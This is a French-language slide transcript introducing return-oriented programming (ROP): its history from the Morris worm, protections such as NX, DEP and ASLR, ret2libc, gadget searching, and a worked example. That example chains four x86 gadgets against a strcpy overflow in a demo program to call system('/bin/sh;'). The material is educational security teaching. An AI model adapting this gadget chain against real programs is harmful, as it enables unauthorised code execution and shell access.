Mysterie Introduction L'exploitation de programmes vulnérables est rendu de plus en plus difficile. Malgré les.

Slides:



Advertisements
Présentations similaires
GEF 435 Principes des systèmes d’exploitation
Advertisements

Électronique de base du processeur
Premier programme en C :
La boucle for : init7.c et init71.c
Démonstrations pratiques de buffer overflows
Architecture de machines Le microprocesseur
A RECUPERER EN ENTRANT Le polycopié de Caml Partie 1
ARCHITECTURE INTERNE d’un MICROPROCESSEUR
SSTIC 2004: Détections Heuristiques en environnement Win32 Nicolas Brulez – Silicon Realms.
SSTIC 2004 Gaël Delalleau Zencom Secure Solutions Mesure locale des temps d'exécution : application.
Plan du cours : 2ème Partie
Jacques Lonchamp IUT Nancy Charlemagne – DUT Informatique 1A
merci Laurent JEANPIERRE
Assembleur
La pile un élément essentiel
C.
Objectifs Nous allons concevoir une mise en œuvre contenant un noyau de jeu d’instructions. Nous verrons comment l’architecture de jeu d’instructions.
Le Concept du programme enregistré
Le jeu d ’instructions Introduction Un jeu d ’instruction classique
Architecture de machines Le microprocesseur
FAILLES APPLICATIVES – INTRODUCTION & EXPLOITATION –
Système d’exploitation : Assembleur
Système d’Exploitation
Principes de programmation (suite)
Cours 8 5. Appels de fonctions Le matériel Concepts de pile
Système d’exploitation : Assembleur
Quest-ce quune classe dallocation? Une classe dallocation détermine la portée et la durée de vie dun objet ou dune fonction.
Optimisation et parallélisation de code pour processeur à instructions SIMD multimedia François Ferrand.
Sécurité et Buffer Overflow
Sixième cours Les chaînes de caractères et le passage de paramètres par référence Passage de paramètres par référence String.h.
Architecture et technologie des ordinateurs II
Méthode et Outils pour la Programmation
Mécanismes d'exécution et de communication
L'Unité centrale (CPU) Le CPU doit être rapide (mesuré en temps de CPU) UNITE DE CONTROLE Générer les signaux de control/temps Contrôler le décodage/exécution.
Buffer Overflow Anatomy of an exploit.
Programmation Système et Réseau (sous Linux)
Cours Architecture des Systèmes Informatiques
Argc et argv Utilisation des paramètres de la ligne de commande.
LIBELIN Arnaud MATHEOSSIAN Dimitri TOURE Maurice.
Un outil d’estimation du temps d’exécution au pire-cas par analyse statique de programmes IRISA - Projet Solidor Antoine COLIN.
1 Structures des données. 2  Le tableau permettait de désigner sous un seul nom un ensemble de valeurs de même type, chacune d'entre elles étant repérée.
3-Présentation d’un µP simple
Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman.
La programmation système
Les Machines RAM.
Programmation Système et Réseau
Introduction au langage C Fonctions et Procédures
Interprétation/Génération de code pour le langage Z minimal Pr ZEGOUR DJAMEL EDDINE Ecole Supérieure d’Informatique (ESI)
CSI 3525, Implémentation des sous-programmes, page 1 Implémentation des sous-programmes L’environnement dans les langages structurés en bloc La structure.
1 École des Mines de Saint-Etienne. 158, cours Fauriel Saint-Etienne Cedex 2. Tél Fax Jean-Jacques Girardot
ISBN Chapitre 10 L'implémentation des sous- programmes.
1 École des Mines de Saint-Etienne. 158, cours Fauriel Saint-Etienne Cedex 2. tél Fax Cours Architecture des.
INFOR 101 Chapitre 5 Marianne Morris.
1 Université Henri Poincaré, Nancy 1 La préemption appliquée aux FPGAs Soutenance de rapport bibliographique de DEA Faculté des Sciences Vandoeuvre-lès-Nancy.
Classe 1 CSI2572 Autres modificateurs de déclaration de variables: & volatile & register & static & auto & extern & const volatile Indique au compilateur.
UE MAREP Cours 12 : Révisions
Patricia Renault UPMC 2005/2006
CPI/BTS 2 Programmation Web Les sites dynamiques Prog Web CPI/BTS2 – M. Dravet – 02/10/2003 Dernière modification: 02/10/2003.
Architecture et technologie des ordinateurs II
Exemple d’utilisation de l’outil de profilage prof La commande prof de Unix.

Chapitre 9 Les caractères.
Architecture des ordinateurs
CHAPITRE 10 Les sous-programmes 1. Sous-programme Suite d’instructions appelée de manière répétitive Par un programme Par plusieurs programmes distincts.
Organisation de la mémoire pour le langage minimal Pr ZEGOUR DJAMEL EDDINE Ecole Supérieure d’Informatique (ESI)
Algorithmes parallèles
Formations Système Embarqué & Informatique Industrielle
Java Réalisé par: Mouna POKORA. PLAN: Définition : Historique: Caractéristiques: un langage orienté objet: un langage interprété : un langage portable:
Département Informatique Gestion du flux d’exécution Laurent JEANPIERRE D’après le cours de Pascal FOUGERAY IUT de CAEN – Campus 3.
Transcription de la présentation:

Mysterie

Introduction L'exploitation de programmes vulnérables est rendu de plus en plus difficile. Malgré les nombreuses protections mises en place, la plupart sont contournables. "Preventing the introduction of malicious code is not enough to prevent the execution of malicious computations" Hovav Shacham

Roadmap ▪ Origine du ROP ▪ Protection contre l'exécution de code ▪ Le ROP en pratique ▪ Comment trouver des gadgets ▪ Exemple de programme vulnérable ▪ Conclusion

Origine du ROP Morris worm (novembre 1988) Dépassement de tampon sur plateforme VAX/SUN-3 Appel à gets() non sécurisé menant à l'exécution d'un execve(“/bin/sh”,0,0) ''Smash the stack for fun and profit'' (aout 1996) par Aleph One dans Phrack49 Solar designer (1997) Premier document sur l'exploitation de ret2libc Pas de shellcode, Utilisation de fonction en mémoire ''Register Springs'' (1999) Exploitation d'instructions dans la section.text (jmp %reg) par Dark spyrit

Origine du ROP Premier document ''Borrowed code chunks'' (2005) par Krahmer ▪ Recherche d'instruction précédent l'instruction ''ret'' pour les assembler ensemble. (un)smashing the stack (black hat 2007) par Moyer ''Return-oriented programming'' (black hat 2008) par Shacham ''Practical Return-Oriented Programming'' (Mai 2010) par Dino Dai Zovi

Protection contre l'execution de code Protection matériel ▪ Intel ''XD'' bit ▪ AMD ''NX'' bit Protection système ▪ DEP (permanent) ▪ ASLR ▪ SEH Protection à la Compilation ▪ Canary ▪ SafeSEH

Protection contre l'execution de code

Return into libc Technique de contournement du DEP / W^X : Redirection du flux d'exécution vers une librairie chargée en mémoire On contrôle les arguments passés aux fonctions de la librairie Exemple: execve(''/bin/sh'', ''/bin/sh'', 0); system(''cmd.exe''); Aucun shellcode en mémoire.

ret2system

Ret2lib Retour chaîné vers les modules chargés en mémoire SetProcessDEPPolicy (Bloqué par le DEP permanent) NtSetProcessInformation (idem) WriteProcessMemory VirtualProtect VirtualAlloc

Ret2lib Le fait que la pile soit en W^X n'est plus un problème, mais il existe d'autres protections. ASLR (Adresse Space Layout Randomization) A cause de l'ASLR les modules sont chargés en mémoire à des adresses imprévisibles Faiblesse de cette protection : ▪ La randomisation des adresses ▪ Certain module ne sont pas affectés par l'ASLR ▪ Fuite mémoire.

Le ROP en pratique

Return-oriented programming Certaines plages mémoire ne sont pas affectées par l'ASLR ▪ Inconvénient : elles ne contiennent pas forcément des fonctions intéressantes A défaut de pouvoir utiliser un ret2libc on saute sur un bloc d'instruction précédant l'instruction ret. ▪ Ces blocs d'instructions sont appelés gadgets.

Return-oriented programming On peut ainsi combiner plusieurs gadgets afin d'effectuer des opérations basiques : ▪ Write4 ▪ Fuite / Modification mémoire ▪ Appel de fonctions se situant dans les librairies partagées ▪ Hook...

Write 4

Return-oriented programming Comment trouver des gadgets ? ● Scan des plages mémoires exécutables et non randomizées à la recherche d'opcode : ● ImmunityDbg / Ida + Distorm ?

Return-oriented programming Comment trouver des gadgets ? Scan des plages mémoires exécutables et non randomizées à la recherche d'opcode : ● ImmunityDbg / Ida + Distorm ?

Return-oriented programming Comment utiliser des gadgets ? Construction d'une liste de gadgets en les classant par type : ▪ Modification de registre ▪ Modification d'adresse mémoire ▪ Calcul sur un registre … Tri et simplification du dictionnaire pour ne garder que les gadgets essentiels Construction de l'exploit en combinant logiquement les gadgets

Return-oriented programming Exemple de programme vulnerable

Return-oriented programming

Return-oriented programming Contexte du programme ASLR & Stack -x (seul la section.text est fixe) Architecture x86 Compilé sur une machine *unix

Return-oriented programming char buff[80]; strcpy(buff, argv[1]); strcpy(argv[1], buff); printf(''... Le premier strcpy() écrase l'adresse d'argv[1] avec 0x804a010 0x80483e0 : jmp *0x804a010

Return-oriented programming strcpy(0x804a010, argv[1]); printf(''... 0x80483e0 : jmp *0x804a010 0x804a010 pointe sur 0x080485a2 Lors de l'appel à printf() on saute sur le premier gadget (0x080485a2)

Return-oriented programming 1er gadget : 0x80485a2: add $0xc,%esp 0x80485a5: pop %ebx 0x80485a6: pop %esi 0x80485a7: pop %edi 0x80485a8: pop %ebp 0x80485a9: ret ebp = 0x804a2e8 → après la bss

Return-oriented programming 2eme gadget : 0x804838c: pop %eax 0x804838d: pop %ebx 0x804838e: leave 0x804838f : ret eax = 0xfffc52c0 ebx = 0x138ea014 esp = 0x804a2ec (Pointe dans notre buffer)

Return-oriented programming 3eme gadget : 0x80485ce: add 0xf475fff8(%ebx),%eax 0x80485d4: add $0x4,%esp 0x80485d7: pop %ebx 0x80485d8: pop %ebp 0x80485d9: ret eax = 0xfffc52c0 ebx = 0x138ea014 → adresse de strcpy() 0x80485ce: add 0xf475fff8(%ebx),%eax 0x80485ce: add eax, [ebx-0B8A0008h] eax = 0xb7e53140 → adresse de system()

Return-oriented programming 4eme gadget : 0x80484af: call *%eax call system(''/bin/sh;''); W00T !!!

Conclusion Les shellcodes ne sont pas nécessaires Contournement de l'ASLR Le ROP n'est pas réservé à l'architecture x86 Le ROP fiabilise vos exploit "Preventing the introduction of malicious code is not enough to prevent the execution of malicious computations"

Merci de votre attention Questions ?